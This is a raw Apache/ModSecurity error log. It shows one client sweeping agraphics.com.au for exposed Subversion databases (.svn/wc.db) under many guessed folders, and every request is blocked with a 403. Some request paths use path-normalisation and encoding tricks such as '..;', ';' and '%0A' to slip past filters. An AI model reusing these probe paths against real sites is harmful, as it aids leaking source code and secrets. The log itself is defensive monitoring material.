[Sat Nov 29 13:25:18.909332 2025] [:error] [pid 25341:tid 25355] [client 213.21.239.4:39318] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/old-cuburn/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrZAAAAco"]
[Sat Nov 29 13:25:18.910563 2025] [:error] [pid 25341:tid 25354] [client 213.21.239.4:39324] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au../wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrYgAAAck"]
[Sat Nov 29 13:25:18.911808 2025] [:error] [pid 25341:tid 25366] [client 213.21.239.4:39390] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrZQAAAdU"]
[Sat Nov 29 13:25:18.911997 2025] [:error] [pid 20915:tid 20925] [client 213.21.239.4:39428] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/qa/.svn/wc.db"] [unique_id "aSqDvlOOtKw1QZ3TPESmxgAAAMg"]
[Sat Nov 29 13:25:18.912044 2025] [:error] [pid 32136:tid 32150] [client 213.21.239.4:39468] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/img../.svn/wc.db"] [unique_id "aSqDvsSj_WSVQM1psKpMRAAAAQw"]
[Sat Nov 29 13:25:18.912389 2025] [:error] [pid 20915:tid 20921] [client 213.21.239.4:39314] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/wc.db"] [unique_id "aSqDvlOOtKw1QZ3TPESmxQAAAMQ"]
[Sat Nov 29 13:25:18.913006 2025] [:error] [pid 20915:tid 20926] [client 213.21.239.4:39378] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db;"] [unique_id "aSqDvlOOtKw1QZ3TPESmxwAAAMk"]
[Sat Nov 29 13:25:18.914799 2025] [:error] [pid 20827:tid 20877] [client 213.21.239.4:39352] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/prod.svn/wc.db"] [unique_id "aSqDvoR9B7FcLfh1rSFWSgAAAFM"]
[Sat Nov 29 13:25:18.921214 2025] [:error] [pid 20915:tid 20935] [client 213.21.239.4:39294] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/message-api/.svn/wc.db"] [unique_id "aSqDvlOOtKw1QZ3TPESmyAAAANI"]
[Sat Nov 29 13:25:18.922028 2025] [:error] [pid 25341:tid 25368] [client 213.21.239.4:39452] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/images../.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrZgAAAdc"]
[Sat Nov 29 13:25:18.922671 2025] [:error] [pid 32136:tid 32156] [client 213.21.239.4:39284] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/media../.svn/wc.db"] [unique_id "aSqDvsSj_WSVQM1psKpMRgAAARI"]
[Sat Nov 29 13:25:18.922907 2025] [:error] [pid 25341:tid 25363] [client 213.21.239.4:39310] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/new/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrZwAAAdI"]
[Sat Nov 29 13:25:18.925752 2025] [:error] [pid 20826:tid 20840] [client 213.21.239.4:39406] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db"] [unique_id "aSqDvvABfBqk70vKX9R4NgAAAAo"]
[Sat Nov 29 13:25:18.926894 2025] [:error] [pid 25341:tid 25352] [client 213.21.239.4:39340] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/__MACOSX/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzraAAAAcc"]
[Sat Nov 29 13:25:18.927280 2025] [:error] [pid 20826:tid 20833] [client 213.21.239.4:39368] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/m/.svn/wc.db"] [unique_id "aSqDvvABfBqk70vKX9R4NwAAAAM"]
[Sat Nov 29 13:25:18.928189 2025] [:error] [pid 25341:tid 25364] [client 213.21.239.4:39500] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/js../.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzraQAAAdM"]
[Sat Nov 29 13:25:18.932602 2025] [:error] [pid 25341:tid 25362] [client 213.21.239.4:39518] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/live/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzragAAAdE"]
[Sat Nov 29 13:25:18.933154 2025] [:error] [pid 20828:tid 20908] [client 213.21.239.4:39372] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prod/.svn/wc.db"] [unique_id "aSqDvuqW2f0jLRABAORUBgAAAJY"]
[Sat Nov 29 13:25:18.933897 2025] [:error] [pid 25341:tid 25367] [client 213.21.239.4:39448] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/svn/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrawAAAdY"]
[Sat Nov 29 13:25:18.938348 2025] [:error] [pid 25341:tid 25360] [client 213.21.239.4:39444] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrbQAAAc8"]
[Sat Nov 29 13:25:18.939009 2025] [:error] [pid 25341:tid 25365] [client 213.21.239.4:39394] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/.svn;/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrbAAAAdQ"]
[Sat Nov 29 13:25:18.939082 2025] [:error] [pid 20915:tid 20918] [client 213.21.239.4:39510] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib../.svn/wc.db"] [unique_id "aSqDvlOOtKw1QZ3TPESmyQAAAME"]
[Sat Nov 29 13:25:18.942077 2025] [:error] [pid 25341:tid 25350] [client 213.21.239.4:39484] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aSqDvvWK8JdN03Mg7dzrbgAAAcU"]
[Sat Nov 29 13:25:21.911302 2025] [:error] [pid 25341:tid 25357] [client 213.21.239.4:33970] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au../.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrcAAAAcw"]
[Sat Nov 29 13:25:21.913817 2025] [:error] [pid 62619:tid 62640] [client 213.21.239.4:33964] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/samples/.svn/wc.db"] [unique_id "aSqDwdk7ZYKT63FfVSUjbQAAAVM"]
[Sat Nov 29 13:25:21.925291 2025] [:error] [pid 62619:tid 62632] [client 213.21.239.4:34034] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/repository/.svn/wc.db"] [unique_id "aSqDwdk7ZYKT63FfVSUjbgAAAUs"]
[Sat Nov 29 13:25:21.929861 2025] [:error] [pid 16610:tid 16624] [client 213.21.239.4:34008] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn;/wc.db"] [unique_id "aSqDwQTu2dLzNk_QISrSqgAAAYw"]
[Sat Nov 29 13:25:21.933292 2025] [core:error] [pid 62619:tid 62642] [client 213.21.239.4:34048] AH10244: invalid URI path (/../wc.db)
[Sat Nov 29 13:25:21.934212 2025] [:error] [pid 25341:tid 25351] [client 213.21.239.4:34178] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrcQAAAcY"]
[Sat Nov 29 13:25:21.934770 2025] [:error] [pid 25341:tid 25345] [client 213.21.239.4:33986] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrcgAAAcA"]
[Sat Nov 29 13:25:21.934992 2025] [:error] [pid 16610:tid 16623] [client 213.21.239.4:34000] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/wc.db;.."] [unique_id "aSqDwQTu2dLzNk_QISrSqwAAAYs"]
[Sat Nov 29 13:25:21.935694 2025] [:error] [pid 25341:tid 25358] [client 213.21.239.4:33974] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrcwAAAc0"]
[Sat Nov 29 13:25:21.938037 2025] [:error] [pid 25341:tid 25356] [client 213.21.239.4:34028] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/s3/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrdAAAAcs"]
[Sat Nov 29 13:25:21.939008 2025] [:error] [pid 25341:tid 25359] [client 213.21.239.4:34106] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/..;/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrdQAAAc4"]
[Sat Nov 29 13:25:21.941081 2025] [:error] [pid 25341:tid 25346] [client 213.21.239.4:34020] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/repos/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrdgAAAcE"]
[Sat Nov 29 13:25:21.942067 2025] [:error] [pid 25341:tid 25348] [client 213.21.239.4:33988] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/shop/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzrdwAAAcM"]
[Sat Nov 29 13:25:21.942602 2025] [:error] [pid 20827:tid 20878] [client 213.21.239.4:34096] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/../.svn/wc.db"] [unique_id "aSqDwYR9B7FcLfh1rSFWTAAAAFQ"]
[Sat Nov 29 13:25:21.946226 2025] [:error] [pid 25341:tid 25369] [client 213.21.239.4:34150] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzreAAAAdg"]
[Sat Nov 29 13:25:21.946912 2025] [:error] [pid 16610:tid 16621] [client 213.21.239.4:34122] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/wc.db;"] [unique_id "aSqDwQTu2dLzNk_QISrSrAAAAYk"]
[Sat Nov 29 13:25:21.947284 2025] [:error] [pid 16610:tid 16636] [client 213.21.239.4:34120] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db;"] [unique_id "aSqDwQTu2dLzNk_QISrSrQAAAZg"]
[Sat Nov 29 13:25:21.950631 2025] [:error] [pid 16610:tid 16612] [client 213.21.239.4:34060] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/;/.svn/wc.db"] [unique_id "aSqDwQTu2dLzNk_QISrSrgAAAYA"]
[Sat Nov 29 13:25:21.951095 2025] [:error] [pid 16610:tid 16618] [client 213.21.239.4:34056] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/%0Awc.db"] [unique_id "aSqDwQTu2dLzNk_QISrSrwAAAYY"]
[Sat Nov 29 13:25:21.951257 2025] [:error] [pid 20827:tid 20866] [client 213.21.239.4:34010] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/static../.svn/wc.db"] [unique_id "aSqDwYR9B7FcLfh1rSFWTQAAAEg"]
[Sat Nov 29 13:25:21.952324 2025] [:error] [pid 16610:tid 16629] [client 213.21.239.4:34086] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aSqDwQTu2dLzNk_QISrSsAAAAZE"]
[Sat Nov 29 13:25:21.955236 2025] [:error] [pid 25341:tid 25353] [client 213.21.239.4:34164] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/.svn;/wc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzreQAAAcg"]
[Sat Nov 29 13:25:21.960426 2025] [:error] [pid 20827:tid 20859] [client 213.21.239.4:34136] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aSqDwYR9B7FcLfh1rSFWTgAAAEE"]
[Sat Nov 29 13:25:21.961669 2025] [:error] [pid 25341:tid 25349] [client 213.21.239.4:34072] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aSqDwfWK8JdN03Mg7dzregAAAcQ"]
[Sat Nov 29 13:25:21.970887 2025] [:error] [pid 62619:tid 62637] [client 213.21.239.4:34058] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/wc.db"] [unique_id "aSqDwdk7ZYKT63FfVSUjcAAAAVA"]
[Sat Nov 29 13:25:24.898268 2025] [:error] [pid 20826:tid 20847] [client 213.21.239.4:34184] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/staging/.svn/wc.db"] [unique_id "aSqDxPABfBqk70vKX9R4OAAAABE"]
[Sat Nov 29 13:25:24.898524 2025] [:error] [pid 62619:tid 62636] [client 213.21.239.4:34212] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.svn/wc.db"] [unique_id "aSqDxNk7ZYKT63FfVSUjcgAAAU8"]
[Sat Nov 29 13:25:24.899505 2025] [:error] [pid 20915:tid 20928] [client 213.21.239.4:34252] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.svn/wc.db"] [unique_id "aSqDxFOOtKw1QZ3TPESmygAAAMs"]
[Sat Nov 29 13:25:24.903640 2025] [:error] [pid 20915:tid 20922] [client 213.21.239.4:34194] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wiki/.svn/wc.db"] [unique_id "aSqDxFOOtKw1QZ3TPESmywAAAMU"]
[Sat Nov 29 13:25:24.906955 2025] [:error] [pid 20827:tid 20862] [client 213.21.239.4:34276] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/.svn/wc.db"] [unique_id "aSqDxIR9B7FcLfh1rSFWVQAAAEQ"]
[Sat Nov 29 13:25:24.908948 2025] [:error] [pid 20915:tid 20939] [client 213.21.239.4:34236] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/.svn/wc.db"] [unique_id "aSqDxFOOtKw1QZ3TPESmzAAAANY"]
[Sat Nov 29 13:25:24.911636 2025] [:error] [pid 62619:tid 62627] [client 213.21.239.4:34238] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.svn/wc.db"] [unique_id "aSqDxNk7ZYKT63FfVSUjcwAAAUY"]
